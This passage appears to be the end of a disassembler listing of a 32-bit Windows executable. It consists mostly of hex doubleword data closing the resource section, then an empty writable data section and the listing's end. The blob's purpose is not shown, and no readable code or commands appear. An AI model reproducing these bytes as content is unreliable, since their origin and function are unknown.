		dd 3198D2BBh, 36A21F2Ch, 357234D4h, 0A2899794h,	7AA987F0h
		dd 52816FDEh, 2A595755h, 2312F2Ch, 0DA090704h, 4DB2898Dh
		dd 0BA926E21h, 0CEC8248Ch, 0C11CA7E0h, 4E82D1DEh, 8F6A7656h
		dd 0A79C8EA2h, 0F0AB88A0h, 1D5FCF9h, 291C2428h,	50381938h
		dd 96295250h, 0B0738B8Fh, 0C7D9A3B4h, 0EFC3DBDEh, 1889E9E0h
		dd 47003A2Fh, 67507150h, 0A0114E68h, 0CF888297h, 0FFA8F9D8h
		dd 1BF8DAF0h, 241F061Dh, 690A4704h, 96557E78h, 0A89685A5h
		dd 0E2A2BCA8h, 1EDBE4A5h, 1E40B1Ch, 5F363A30h, 71597B48h
		dd 0DB6D6660h, 0D284AD9Eh, 0E3EDD2C1h, 7F0EAFFh, 5E1B2465h
		dd 47244B5Ch, 8375787Ah, 0F0818388h, 0FAA794F7h, 1CC9ECEDh
		dd 333C7701h, 4B053B24h, 9F484257h, 0A064B8FDh,	0C9B5BE90h
		dd 0F6C5DBEFh, 28FCE5EFh, 34202C3Bh, 4A4D5271h,	0B7746367h
		dd 0BC8C9D8Fh, 0D2B5DAF9h, 38FCFBFFh, 44140207h, 513D2201h
		dd 98547B71h, 0A090B193h, 0C9B081ABh, 3BA9E6C3h, 3BCC0B1Bh
		dd 49352232h, 605F4E66h, 0DC48626Ah, 0E795BA99h, 0E9CDC4CFh
		dd 16F8CBE3h, 531D0403h, 1400464Ch, 0B86D7251h,	8281828Bh
		dd 0D2ACABAFh, 35C4F2FFh, 381C3076h, 543C2A1Ah,	945D4676h
		dd 0B046FFBFh, 0DFBC81A3h, 0EBDEC6DCh, 29ECC087h, 46133A09h
		dd 4857585Eh, 0A2114E77h, 0D2BF9382h, 0F0ACCAD3h, 2FFF9DEh
		dd 3110021Dh, 5C27282Eh, 8144581Fh, 0A9979EA0h,	0E1A2B8A0h
		dd 1ECCD5CEh, 2CF3100Bh, 42351057h, 445D4E4Dh, 0BE666B6Bh
		dd 0D48E93DFh, 0EFD0FBD3h, 1CE3EEFDh, 5C246726h, 7028694Fh
		dd 0AB7F5860h, 0C5948386h, 0F3ACB788h, 10CDF6D9h, 3D09163Ah
		dd 64362126h, 98596827h, 0B973AF91h, 0DDAAB2BBh, 0E9C3FFB0h
		dd 2DFAE2EBh, 5F276D53h, 0E4D444Ah, 857E7D40h, 8D9A948Dh
		dd 0EEA4F1F2h, 0BCB97ECh, 2F370B11h, 4D492224h,	9F676B45h
		dd 0BAB89294h, 0C4B8BDA4h, 0DCCD3DDh, 33D27FC1h, 4230112Ch
		dd 6F5E7F55h, 0AC6C7366h, 0C2848CE0h, 0EBD5DEFEh, 3FCE6C4h
		dd 5B053468h, 43414F25h, 9E787A76h, 0B19486A6h,	0F78FA187h
		dd 20A1FACCh, 3B0D0511h, 4A102331h, 0FE4A4844h,	0A26B7257h
		dd 0C2B39EBDh, 0F2FCB0D5h, 2BE0ECC9h, 44321413h, 62534E51h
		dd 95777775h, 0DB8187BCh, 0E28CC0AEh, 0FFFEADBh, 2F341504h
		dd 504A2D24h, 93506354h, 9E9F8C99h, 0C3B1BFA2h,	30AADBDBh
		dd 33F0C3F4h, 7E3F2C39h, 63515F42h, 0A64F7B7Bh,	0F596AEE0h
		dd 0FADBDDCAh, 5F7C3F5h, 5005011Ch, 5B360E40h, 874C6879h
		dd 0A0BD8795h, 0EAA9AD9Bh, 76CCCFC9h, 3E350C36h, 4F143E35h
		dd 0B02A4D44h, 0B3734E74h, 0C1A989B6h, 0F5C0D4D3h, 3BE0E6DCh
		dd 422D610Eh, 605E4977h, 92707443h, 0BE858681h,	0E493B58Eh
		dd 0DFEEDF7h, 341A2704h, 722A3C3Ch, 994E446Dh, 80FB808Ah
		dd 0C3A680A4h, 7F8D0DAh, 3BE6F5F3h, 413D3711h, 72525C42h
		dd 0DE656661h, 0C4B495AEh
		dd 0D8DECDD1h, 13E7E3F9h, 5B260509h, 6F312E2Dh,	826F4B18h
		dd 0A59A9FA5h, 0CDAEADA7h, 18CAD3D4h, 0F142D1Fh, 753A223Eh
		dd 90425B5Ch, 85530267h, 0CFA88999h, 0F6C1C6C2h, 31E0E988h
		dd 59170713h, 7A59515Bh, 887B7110h, 0CA8F8F86h,	0E2A1A5C0h
		dd 1AEFF5F0h, 271A0B12h, 6C4C2F25h, 0F6524145h,	0AA929F8Bh
		dd 0C5BBA1D0h, 7ED8CFC3h, 33F0ECC9h, 5A39342Ah,	755B5E73h
		dd 0B06D426Dh, 0B6818E84h, 0EBC8D4F1h, 12F1FCE2h, 7D180F2Fh
		dd 732A2C2Fh, 8A796E7Bh, 0B29586A3h, 0F085CAADh, 18D6C7D4h
		dd 3E330E1Dh, 26153C35h, 9B584461h, 0A2606D72h,	0C0B8AB97h
		dd 0C7D9C1E5h, 2AE3C288h, 530B1105h, 6F58694Ch,	8A7C5574h
		dd 0FAACEB8Dh, 0DF958296h, 2AB3A9ABh, 14753F3Ch, 720E2C2Dh
		dd 0BD40504Fh, 9CFD829Dh, 0D69AB4B5h, 1BE6C5CDh, 17FDC6F9h
		dd 49380958h, 74504661h, 0B26C5D71h, 0CEA08695h, 0EBEFBBF9h
		dd 12F0C0F7h, 4B010A3Eh, 573D0625h, 0EBF49818h,	0AEA43BDBh
		dd 76CDCBC8h, 7581EF2Dh, 4B177B12h, 4C060301h, 0AEE1A02Dh
		dd 8256D08Bh, 0FC8F9CB2h, 1B234BE3h, 0DD8EBCA4h, 0A39968A4h
		dd 0E0E109Dh, 251ED093h, 176B61BFh, 0A5C6F4D5h,	6EF4CC67h
		dd 0D3897A1Ah, 1E7E6001h, 7229E4A5h, 0CEFEFC68h, 0C682BC80h
		dd 0AA25ACA8h, 9A0D84EAh, 2E361C32h, 6C362430h,	0DE645E0Ah
		dd 0B686B088h, 0DFBED6B8h, 0F369C4C3h, 3E5E40E5h, 83B91D1Fh
		dd 0EE2E37D5h, 9A820B75h, 8B4E4143h, 7A45A490h,	5E7EE9F5h
		dd 0F7555460h, 2CD17F7Fh, 0FA7A808Bh, 2152DDE8h, 86B7AE88h
		dd 0A170D960h, 0A7E2EE9Fh, 833F0D14h, 0E60C909Fh, 41AC05E8h
		dd 134C3A3Fh, 6EAFB119h, 5DFBFAFDh, 2CA74D48h, 7DD8DADFh
		dd 0FED3787Dh, 0D21750D0h, 0E72020A3h, 0BE87859Bh, 0D1A0A245h
		dd 0C568F2BBh, 0DE0FE55Dh, 37BAE5E0h, 0BEA53B55h, 0EB5EA690h
		dd 0E4F8DEDh, 47131440h, 0BF4E4D49h, 0EAF6600Fh, 9A48CDF8h
		dd 0BB325A84h, 137F4D53h, 73575192h, 0FE2F2DC0h, 3B895B00h
		dd 0AED0C46Dh, 133549DAh, 5EA09408h, 16A53430h,	0E6A3E1Ch
		dd 8014D293h, 0A4366B2Fh, 0B605C6F0h, 74681B5Fh, 465C7640h
		dd 0DD0D4E62h, 0F742274Ah, 0BCFFCD07h, 22CD29D5h, 1740DA69h
		dd 5788868Ah, 2C3B8ED2h, 0B2B50A61h, 0DF2014EDh, 0B6E45C6Ah
		dd 54BBEB9h, 67989799h,	0F45B966Ah, 0E483CD21h,	0EA547FBFh
		dd 2C0D14B6h, 90174D0Bh, 247C2DF6h, 1BD0B2F2h, 7509163Bh
		dd 6ACFD143h, 0D7392B9Ch, 24ED1B5Ah, 0B795BE24h, 0DC46A489h
		dd 30AE608Bh, 0FA93F53h, 241A4098h, 93067A80h, 13CCC7F1h
		dd 0AF929791h, 0CE63C733h, 2F7DB8DCh, 7ACBD021h, 2EAB9EBBh
		dd 6B38A21Bh, 80B147FFh, 0D9D48782h, 7A29B7h, 0F3A4BC32h
		dd 63113F26h, 0B8E1C39Eh, 90783BB5h, 84189792h,	40716D62h
		dd 194D2F16h, 65DE1F1Ah, 0C8C9DBDBh, 245C3341h,	78A8A386h
		dd 50EB2F7Ah, 285953BAh, 5463792Ah, 4DF65002h, 0B0D1F3FFh
		dd 1F347E81h, 60918E8Eh, 3A033633h, 7840556Bh, 0A8191712h
		dd 316410B8h, 0EC9F7E9h, 2BD5691Fh, 4C112322h, 77514F4Bh
		dd 0D80D93DDh, 2E01FFF8h, 99F50E46h, 4134F6ABh,	4D6A91F7h
		dd 5BB5D40Bh, 5E686533h, 9484F05Dh, 0E0E9D7CFh,	41B47F3Eh
		dd 0A40C68C5h, 0CC715F40h, 4E1B0314h, 7C795B71h, 0C9F8F364h
		dd 61E264CBh, 8AF0B7C9h, 1D12FD0h, 79090703h, 0F8A4D079h
		dd 58093728h, 0B1E3D71Fh, 0ADCD48B3h, 0A8047083h, 6A69574Fh
		dd 3D88AAC4h, 2B441723h, 0FF71EFEFh, 0DFC8B2C9h, 64DD1210h
		dd 509A7743h, 3151DAC6h, 282A2713h, 56D300ADh, 5551D814h
		dd 8DB1AFACh, 5A897700h, 85FDF5Ch, 8A7F2741h, 661E0F32h
		dd 0BAE9E705h, 0E7E1813Ch, 5418D165h, 53F263Ch,	0D5C26531h
		dd 0BD2059DAh, 0A0A839DFh, 0F1879ECCh, 5668325Bh, 69D87F4Ch
		dd 95DC5895h, 0EB312F2Ch, 0DA0907B5h, 0E0B1E15Dh, 0FB6E1FDh
		dd 62918F29h, 9661A1E7h, 964E3200h, 0EA19178Dh,	3184CFD0h
		dd 95F3FB68h, 72A11319h, 6A74DA74h, 1F716F6Ch, 8E4C4005h
		dd 0EFAD8089h, 2AA5A2F5h, 0EB9150D3h, 2AFCF3F1h, 436221DCh
		dd 7E16180Fh, 1C56C965h, 1D8E8E5h, 93C198ADh, 94CB7562h
		dd 735D06F8h, 4B897445h, 1B714F4Dh, 0CBF9F7FCh,	0CDA6A089h
		dd 1FC8C8C9h, 8214807Dh, 0AE596779h, 30075BEDh,	208C8ECCh
		dd 0E2E1EFF1h, 8BBAB7DDh, 35C0DE09h, 0EEFC9835h, 9E410F11h
		dd 0DB026780h, 0AC2BFEDh, 0C9999691h, 0E65ECECCh, 4B495B74h
		dd 0DC754BCAh, 0CB02EAB0h, 54C207FDh, 9CCCB85Bh, 4748AEAEh
		dd 58ADDB0Dh, 34615FB6h, 0E1B86A36h, 0E4211273h, 8CAA5A6Dh
		dd 214ABF8Eh, 6CA9A7DDh, 0C9FA946Dh, 1C797701h,	71AABAEDh
		dd 0CCC9C7B5h, 94EE5A45h, 0F9AAA796h, 54B14F49h, 0A43155DFh
		dd 0FB312F3Dh, 0EC256E93h, 0E82834DEh, 0E5CFD2F2h, 34CDEAEDh
		dd 551A1E0Eh, 592D5E5Dh, 9E767A73h, 16C2EF97h, 6A9B084Dh
		dd 9522CD47h, 4F391D75h, 4E0318B7h, 479CAA3Eh, 6C01CFE3h
		dd 0ADD9D7C0h, 7BFCAB22h, 3B767878h, 7865D2F4h,	0D393737h
		dd 0A29CA469h, 59DB4CE3h, 776AD913h, 5E0C1A6Ch,	11715F5Fh
		dd 0E21B412Dh, 0C50D868Ah, 0E98D7CF7h, 0BD154CC7h, 0F8A66722h
		dd 55817EDAh, 0D31573Dh, 53312F2Eh, 48F60C6Dh, 0B5D1F37Eh
		dd 6B5E93Ch, 0F8189FC1h, 3D595750h, 257AB2B6h, 0E981727h
		dd 0CA0E1FEFh, 9DA39496h, 0C05E99F5h, 4D494744h, 914DAB0h
		dd 2792717h, 0E631CC4Ah, 634C28D8h, 0DEB19F9Bh,	511A470Dh
		dd 36600BE4h, 35B85138h, 0EA65555Dh, 0D37C18BBh, 7FC18FECh
		dd 6E9996D9h, 46B9D1FDh, 0A9464748h, 82AC016Eh,	0CA91E8C9h
		dd 0F1D1CFD1h, 52883257h, 1D77FB0h, 5B0C2A7h, 45BA2F00h
		dd 55CA0434h, 65E2A7B0h, 599C533h, 521C97DAh, 3DC4365Bh
		dd 1739BE83h, 9C7C447Dh, 3413EA84h, 0B7642C91h,	42ABBACh
		dd 0BD7A2E5Ch, 294D1DDBh, 0FD67239Fh, 54368BD3h, 0E0512BDBh
		dd 0B90739B8h, 0D58AB8B8h, 1D75B56h, 7C3A0808h,	0D1A73B93h
		dd 85EAD8D8h, 0A6F2FB75h, 1F199798h, 758D8F8Fh,	5DFFC188h
		dd 7F221010h, 0FECABF75h, 0CC8280D0h, 7FC0F8ABh, 568280E8h
		dd 0ABA50FD8h, 6022548h, 0F5FB9DF7h, 3B1DE0D0h,	8E8AADC0h
		dd 696D6813h, 0C19553ECh, 25C7C9BFh, 841A2828h,	90F29AF0h
		dd 0FF5F3798h, 0FDA2908Ch, 7E4A3FFDh, 24B29150h, 0FE407878h
		dd 0FA3E94FFh, 2B52D9E8h, 868381FBh, 5EE15D03h,	66519E32h
		dd 3E088CC7h, 73EC1120h, 0BEDBC5B1h, 0A6F0444Bh, 6A1299A8h
		dd 8BE68E54h, 954B7963h, 43A81D73h, 0CECBC9B3h,	92C9855Bh
		dd 0EB805723h, 56B3B1B7h, 1E1CD4D3h, 2D9E3100h,	24E9A2CAh
		dd 0AB97646Dh, 0DFEAB988h, 37C2C1C3h, 126AFC97h, 0E9134170h
		dd 0DE30D48Dh, 0B5D632F0h, 0FBF1E3F2h, 1AC1C0CEh, 0E411D1Dh
		dd 4A363923h, 0D0191A44h, 0FA686E64h, 0FDDCEBF5h, 0C3E0E1E9h
		dd 2BCFD6C5h, 58011012h, 6053794Ch, 8A7B6064h, 0E2988FBBh
		dd 0E0B6A793h, 1DF9F9F1h, 271C212Ch, 5F282F3Ah,	85414143h
		dd 0AFACA68Bh, 0C3B9B3A2h, 0DDECFDCh, 24EDC4DCh, 423D2D3Dh
		dd 6A5B625Ch, 82756961h, 0D88596B3h, 0EACEDBDCh, 0FBE0C0h
		dd 62090601h, 7E303701h, 94756877h, 0B6B59695h,	0FDA5A6B8h
		dd 19CDD6C1h, 2200916h,	26202139h, 0AA6A657Bh, 93574257h
		dd 0CDB49684h, 0E9C6DCC2h, 9D1FFEEh, 59010D09h,	4D61484Fh
		dd 83676165h, 0DBBB9F86h
		dd 0F9ACB0B2h, 16D8C7F6h, 341A1F00h, 4A4D392Dh,	93425141h
		dd 0BD92B38Ch, 0A6D7D3A4h, 3AFEFBA8h, 24F59D90h, 43342337h
		dd 6D415D1Eh, 0AE61657Ah, 0D88CCD81h, 0C0BDD4DEh, 46DED0D9h
		dd 54020319h, 63322F2Bh, 0AB4E4E12h, 8C98D3A2h,	0BE838287h
		dd 4CCD586h, 444E0E0Ch,	2655BB05h, 7F702B28h, 0E626E2EDh
		dd 0C15B1AD8h, 86B684A5h, 72A31977h, 0DEA76450h, 646F4827h
		dd 7A39F0Eh, 0E7EEDCC3h, 0E3E8F86Ch, 501FFAB2h,	6503698Fh
		dd 32BFF1C5h, 80AD2410h, 0A85BABFAh, 0A8535975h, 0F1AE9C83h
		dd 66ADB005h, 68D7A658h, 0F878B8CAh, 3C0FBDF3h,	4953692Fh
		dd 0E6BE8C94h, 66969594h, 7FB933Eh, 0FF46746Ch,	0EE1E1C91h
		dd 0D35F717Dh, 0F49ECCF8h, 89A8CEA0h, 7E5235EDh, 22AD750h
		dd 8F5B2820h, 0D6070DE8h, 0ED998ED8h, 0CAFBF19Eh, 431A7288h
		dd 3D67554Ch, 642B49F8h, 8EFF4512h, 41101211h, 0A6EC1C55h
		dd 1A5F1898h, 0AEA78A72h, 1E4F4D43h, 0A9646373h, 8AD1AEB7h
		dd 59D7999Ch, 4E83B03Dh, 0AFC66D80h, 9BD2A2A7h,	60719CFh
		dd 0DE0E0960h, 2318B3E0h, 8E8F9199h, 66979878h,	6C2B3168h
		dd 44021309h, 0BA5A414Bh, 39A1F5B3h, 0AEE4245Dh, 76A04DA0h
		dd 6237D78h, 7503061Fh,	6BD07B28h, 0D6382DE9h, 0FFB117EBh
		dd 0ECE9B5DAh, 5E90E689h, 0C93E2660h, 3E6BCFADh, 19E09510h
		dd 33A0CD9Ch, 0A6E43955h, 0F52D1398h, 2C784657h, 4381C48h
		dd 0A7282620h, 0BA9501A8h, 58D8E6FDh, 4F9B633Ch, 57836E81h
		dd 7C355E59h, 350B6474h, 935C4A27h, 0F67D19E1h,	67C08E95h
		dd 6798969Bh, 4D001D1Eh, 713C2828h, 10701E58h, 0F7D32F64h
		dd 7A5547C9h, 78A8968Ah, 1D0DF348h, 0AE586648h,	0CF1CD9ACh
		dd 42F65601h, 0AFD1F398h, 87BDDF22h, 0EA1C8F89h, 37597E3Eh
		dd 0D2FCB260h, 0F19273Dh, 400E1D15h, 334C00A7h,	6FA1AFB9h
		dd 0E1DCF421h, 1F517F69h, 0D74DB2ACh, 8451FFC9h, 0A8B3D6B8h
		dd 80B3C7F8h, 0CD760782h, 305173BBh, 7D63F7B7h,	779C8228h
		dd 0EAE9D7C2h, 254CB9D0h, 68A9B736h, 1021393Eh,	8DB61513h
		dd 0F01133FFh, 156C08AAh, 66D1FFE6h, 48875927h,	3E697F7Ah
		dd 0D7A6A8A0h, 302352A7h, 948CC002h, 0E6E1EFCFh, 608AE8E6h
		dd 9F6E7DD3h, 2D25E2A5h, 44173F0Ah, 0A2F1234Dh,	70E1018h
		dd 0A8DC8B47h, 2FD9C99Ah, 0BA429F46h, 0A596B0B5h, 0F819326Eh
		dd 85779AACh, 2C541EE0h, 81819FE4h, 8D8D6D2h, 60300E0Bh
		dd 250CA2CCh, 74EE0F3Bh, 0B9D9CBCEh, 0E4DE577Ah, 69957FE7h
		dd 9226F6Bh, 4908100Fh,	0BD653152h, 5C06F7BFh, 0A1E1E38Ah
		dd 79A9AB4Bh, 2C92C7Bh,	480F2336h, 40545A47h, 4CF65703h
		dd 0B1D1F402h, 760C3A20h, 991BFA7h, 396967ABh, 0EE41556Dh
		dd 0D9350E86h, 136462EBh, 14C9F7DCh, 418C5826h,	1E2B2173h
		dd 0AB4DAB4h, 3DAA2713h, 3D9472F7h, 0FAD9E7CBh,	0D4B0C5FBh
		dd 5A8BEFD6h, 0E19EDF5Ch, 0F5C32ADCh, 0D0AC8CF3h, 0BAE9D7F1h
		dd 1AA9B4C8h, 95999787h, 725D06F9h, 1A45AF44h, 0A1761F1Ch
		dd 0F9B2B4BBh, 0EE95E1FEh, 0EF56A7E8h, 52B1533Dh, 2A5E3FC7h
		dd 0B7BC2F2Ch, 0DA391FB2h, 1F5C5285h, 62B98798h, 9D6E7E00h
		dd 3A696B8Ch, 5C08683Ch, 0BE5C595Dh, 8EBDABC2h,	0DB5C38C4h
		dd 0F7A1AFB0h, 7FFD78B4h, 0B1514F4Eh, 0FA29224Ch, 27B472FCh
		dd 0F2D9E7CDh, 0AF781220h, 0E6187B5h, 0B09EA0ACh, 3B15FA88h
		dd 671E0F0Dh, 0BBE9E5F5h, 9251533Ch, 3CD9795h, 43716E6Ch
		dd 37E4D2BAh, 37A01F2Dh, 0CBF9F665h, 0C905449Dh, 0EE56F5A5h
		dd 53B153B0h, 5E0097D0h, 10B94720h, 4EF60705h, 0B3D1F3B4h
		dd 363A555Eh, 63A1AF2Bh, 0B6401265h, 236195B8h,	7EE64715h
		dd 0C3C1C354h, 1FC60740h, 73A19E14h, 0C07537FEh, 0AC61B04Dh
		dd 0CB0981A0h, 2A8439FDh, 0ADD9E7F8h, 85DBAFC4h, 0C97685ECh
		dd 3451739Bh, 3C6CFB5h,	0E4106F8Ah, 296474E6h, 94F19F1Ch
		dd 3FCB87FCh, 68C4FA91h, 0DCCC4776h, 0F5619A11h, 7174F7F6h
		dd 0A4E1EF0Ah, 0D41AF17h, 3C7E8088h, 2C5957C2h,	8DD70470h
		dd 235D2332h, 84CDEE4Bh, 5E043AB6h, 0D591BFAEh,	0CA3B8F67h
		dd 81CCC0C1h, 0EC2937A9h, 0D099EF84h, 0CEC9C7C6h, 0B53460CDh
		dd 0C179475Ah, 0A9456B0Ah, 0CC1968B3h, 630EAFFEh, 899D5CDDh
		dd 8D516EBBh, 4F88CD85h, 7F735D15h, 297D3C34h, 0EAF08F07h
		dd 0ECE10726h, 85E5FBB4h, 0E0C9A568h, 755D90D2h, 1D55AF47h
		dd 0DB041F1Fh, 0E3D98FC1h, 9FF1E1EFh, 538C8282h, 2DA40747h
		dd 272A7277h, 4B786065h, 225E0727h, 85CA3A4Ah, 217D36B7h
		dd 0F918F8Fh, 6E3E3767h, 3980AAC0h, 60921727h, 0C5C1FADDh
		dd 862AC7ADh, 24AC56F4h, 4D79729Fh, 4174694Fh, 27E272Dh
		dd 0E62A1A6Ah, 0A21D54D8h, 0EEBA44E0h, 5E898780h, 16B9E2EDh
		dd 5D6E3708h, 0CAD09AEFh, 7E6CE7D8h, 234CEBBEh,	6EA9BB67h
		dd 5343CAF3h, 93494778h, 0C60FE1ADh, 0A437DCF8h, 0F5879ED0h
		dd 52143257h, 0AE027FB0h, 0BF762958h, 0B3BCD1BBh, 0DE392BF7h
		dd 1813D250h, 66D9A7CDh, 996E79CAh, 0DD7E1509h,	1736B249h
		dd 2192FDF3h, 7B7C21DBh, 9EF9EB37h, 81263B53h, 0B12ACE93h
		dd 167DFEC5h, 9194A728h, 0D7023015h, 9EB2F2ACh,	79B2B0C5h
		dd 6EA6E11Dh, 0C8DFE060h, 0E3A0816h, 63D50164h,	0BEDAC84Eh
		dd 96C2C0C0h, 40641D5Eh, 0AF727040h, 0E1B5B640h, 0F626E27Dh
		dd 0E0054D75h, 5984D0E0h, 4E86A53Dh, 0A97A0380h, 2EE1DC57h
		dd 83BB3030h, 0DE3A380Bh, 49B4E08Ah, 0BE96E52Dh, 69521590h
		dd 3E6ACCECh, 46826B40h, 0BE197248h, 0C69AF19Ah, 0C80AC8C8h
		dd 5D53355Fh, 0B6F97848h, 14D65FAFh, 772A282Ch,	0E6330685h
		dd 0A55654D8h, 0BB38180h, 6EBB9A1Dh, 5C313060h,	9BC46938h
		dd 0E6233D05h, 0B114116Bh, 96C7C144h, 919BF398h, 764376C5h
		dd 0FDEB648h, 7523110Ch, 4AF40600h, 0A6D3D239h,	4EB02C21h
		dd 9FB081B0h, 7E0A9A5Bh, 57375B61h, 0EE0CBCF7h,	231CE1D0h
		dd 8E8B924Dh, 0E29C5115h, 3E6B6AADh, 93CA8873h,	0EE2B2907h
		dd 0AEA2A0A1h, 9EC4C9D7h, 33365EF0h, 0CB7B4954h, 58D75E90h
		dd 772B292Bh, 0E6342185h, 0E55719D8h, 0E6E70A88h, 8CBF8A88h
		dd 0C793A363h, 8BB5DBCFh, 0E624223Fh, 6D0A163h,	96C4D90Ch
		dd 0AF9F48ABh, 0A7838387h, 2E6BCFC1h, 0F9E72210h, 37FAB14Fh
		dd 0F559E433h, 3D1BA5B0h, 1F548194h, 2D749B33h,	590EB3E0h
		dd 2762637Fh, 35ADFC94h, 0FCBDB6C2h, 5ADF194Fh,	3D7828E3h
		dd 52C95202h, 37EBE550h, 43CF33D3h, 9EFCFAD3h, 322FFB63h
		dd 0C6F5765Ch, 265452E8h, 0CFEFEA1Bh, 0E62B3432h, 9FF3EBF6h
		dd 0CDC1FD90h, 2EE1E5FAh, 580C4D01h, 430545Eh, 807C2F33h
		dd 0DB808A9Ah, 0F5B7B0E0h, 1AF5B9A5h, 694F0304h, 55390567h
		dd 86494D52h, 0A094D599h, 0D4FABCB6h, 179284CBh, 76A7B2BDh
		dd 5A39322Fh, 26040E58h, 0B9646E60h, 87D89788h,	0F7C9C898h
		dd 44A8F6FCh, 5A1F040Ah, 267F3125h, 0C121253Ah,	0A7879599h
		dd 93F3AEA5h, 0FD5B28AAh, 7E4D60F5h, 0A51BE350h, 50DF2FC1h
		dd 0E9870D75h, 0C0AC97ACh, 0D7540C5h, 45030776h, 86665450h
		dd 0BD7BF04h, 863BAE2h,	0CBC1D368h, 97814F37h, 0B14143BDh
		dd 93449AFh, 0F63B150Ch, 1ED80F6Fh, 0CEFEFED4h,	0A6D68CB8h
		dd 8F46F7A8h, 22797B7Dh, 35D3D778h, 8B360400h, 11250D3Ch
		dd 85DA69AEh, 91A4F45h,	67E81949h, 19DBD9E5h, 0E5BA4470h
		dd 2195DFBCh, 7B7BFF1Bh
		dd 9EFEE237h, 45792F5Ch, 2F42D0B1h, 5C6A5222h, 0DE022E5Fh
		dd 0A25B39AAh, 0DAF1E134h, 0F3B7896Dh, 0D5B26E60h, 65E2A361h
		dd 0E3F0D08h, 0A34F502Dh, 83DD99E8h, 96958693h,	91BAB6ECh
		dd 7B778A8Fh, 1E021900h, 0A61A3754h, 0BAFFADB0h, 0F596E8DBh
		dd 0FBA0ADF8h, 0A9787BC1h, 1E0CD8A6h, 35DC3500h, 21F192E1h
		dd 8BE46E1Fh, 0CDF1F4EFh, 98B0119Fh, 69529297h,	19091003h
		dd 11E1019Ch, 85A0C80Fh, 1AC0FFFBh, 89585BB1h, 1A2C2D45h
		dd 20D35A1Fh, 0CDD0D2D6h, 2B26EEDBh, 2AEF2127h,	79474B49h
		dd 48785CBBh, 0DE686660h, 0F1BFC061h, 0E61816F8h, 5371B3E8h
		dd 96F8EFF9h, 6EA1AC71h, 74871270h, 2E73FBC3h, 7F4C2610h
		dd 9CBD7EDAh, 0A6D8E6E1h, 0D158A4DCh, 0BE77797Fh, 2F605F4Ah
		dd 4A06B757h, 0D7950153h, 3CE8E6E0h, 51C382E7h,	37A317F7h
		dd 0C7F5612Ch, 0E0484641h, 0CF20085Ah, 42F7F6F1h, 9FD0CE22h
		dd 75F4E557h, 4F61FA76h, 59D95651h, 0DF100E09h,	38D0821h
		dd 47E1DFD9h, 78464A16h, 5F580D86h, 75E26761h, 1F0BB431h
		dd 0E36AD63Ah, 0BA1A2FDAh, 0DD400FC2h, 44241689h, 0AF794741h
		dd 0E0AEB21Fh, 0F72988C9h, 0F79C74F9h, 0ABD9E7E2h, 0B0818437h
		dd 0A4E76F82h, 0B46EA0A5h, 83937BDh, 0D032BA81h, 0E662E7D2h
		dd 781FBC86h, 97666AC5h, 0AF01218h, 18492766h, 0A6DF94FAh
		dd 45ED8DF1h, 90C1CF7Fh, 68D3A4A2h, 50878CC3h, 8DAA0052h
		dd 2D22E9Bh, 8656A3F1h,	22D0D088h, 883B303Fh, 0E9F78F8Ah
		dd 0C796FCF2h, 0F591D7C5h, 6343E8EDh, 8AF2E3A0h, 9E884AD2h
		dd 0F989DCB1h, 487928F5h, 17884Ah, 0D8090702h, 5A29B473h
		dd 2C52C799h, 81819F8Ch, 2A81CDBAh, 392BD658h, 8A297532h
		dd 6A115768h, 89D9C866h, 9983BEBBh, 5AC9D492h, 63FA0BB9h
		dd 414BC827h, 0C126A298h, 0C6F9F7C3h, 5E2D5B4Fh, 5A1C585Ch
		dd 0AE814F4Bh, 19753AC6h, 1E84D02Bh, 26093733h,	81CA124Eh
		dd 82343AB3h, 0EC91BFBBh, 95974F6h, 7B136E3Bh, 0EEACE813h
		dd 3EF1DFDBh, 0A9E5A256h, 7614609Bh, 0B6794743h, 117A82DEh
		dd 69CAA23h, 2D01CFD5h,	9AE9D461h, 174EF9ACh, 5AB9ABD9h
		dd 266FADFh, 0C9393704h, 0E2110FE4h, 0BB83BAE4h, 0B82C523Dh
		dd 9AC197A4h, 3AF4AE63h, 9F497751h, 3AA2DCDCh, 0BF6070Bh
		dd 92C4B749h, 6A9464A4h, 2781557Ch, 56D83148h, 735D2308h
		dd 32691471h, 4D1E2018h, 0D151B2C1h, 8A6E7071h,	0C59698B6h
		dd 3FBE115Dh, 0F82D416Ch, 0C2F1CF54h, 3F21A7C4h, 75E6063h
		dd 6E3DFC4Dh, 0DDE4C27Ch, 7129170Ah, 5267F7ACh,	0D8DBD1EFh
		dd 83D9F988h, 0D0897885h, 61613599h, 0A2ACC865h, 60113F21h
		dd 8568EF21h, 0CFFE80E1h, 0AD1A94E0h, 0BE798769h, 64A1B8BAh
		dd 92DEE0E2h, 0CB9D4F36h, 123ACFCDh, 7BA98E1Dh,	5391977Dh
		dd 0B9B5755h, 301972Dh,	0D8E10705h, 71E1DFDDh, 0DF34B791h
		dd 4D5C83A9h, 47699FE6h, 13A95F24h, 60191715h, 9EC1CBB9h
		dd 7648DD4Eh, 7391B42Ah, 0B497709Dh, 27932EB2h,	150Dh dup(0)
_rsrc		ends

; Section 4. (virtual address 0000F000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0000E400
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 100F000h
		align 2000h
_idata2		ends


		end start